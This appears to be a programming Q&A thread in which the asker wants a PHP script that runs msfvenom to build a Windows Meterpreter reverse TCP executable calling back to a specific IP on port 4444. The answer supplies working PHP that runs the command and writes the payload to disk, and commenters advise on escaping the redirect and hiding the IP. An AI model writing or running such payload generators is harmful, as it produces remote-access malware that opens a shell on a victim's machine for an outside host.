Cant make > symbol in php

Question

I am trying to make a php script that generates a basic meterpreter reverse tcp payload.

<?php
$cmd = shell_exec('msfvenom -p windows/meterpreter/reverse_tcp
LHOST=46.101.255.58 LPORT=4444 -f exe > payloads/payload.exe');
echo $cmd;
?>

When i want to output the file i need to use the > symbol. This ends the php tag and doesn't generate the script. Is there any way i can use the > symbol in php without closing the tag?

Have you tried escaping it? – Rasclatt Jul 24 '16 at 17:11 — Rasclatt, Jul 24 '16 at 17:11
...as in `-f exe \>` – Funk Forty Niner Jul 24 '16 at 17:14 — Funk Forty Niner, Jul 24 '16 at 17:14
How is `>` closing your PHP? – chris85 Jul 24 '16 at 17:20 — chris85, Jul 24 '16 at 17:20

Try this

<?php
$file = fopen("payloads/payload.exe","w");
$cmd = shell_exec('msfvenom -p windows/meterpreter/reverse_tcp
LHOST=46.101.255.58 LPORT=4444 -f exe');
echo $cmd;
fwrite($file,$cmd);
fclose($file);
?>

I would also encourage to not post your public ip address on the internet under your username.

probably you shouldn't echo the IP in your answer, too: this way, you may show OP how to omit it in the code in a reasonable manner – YakovL Sep 05 '16 at 20:34
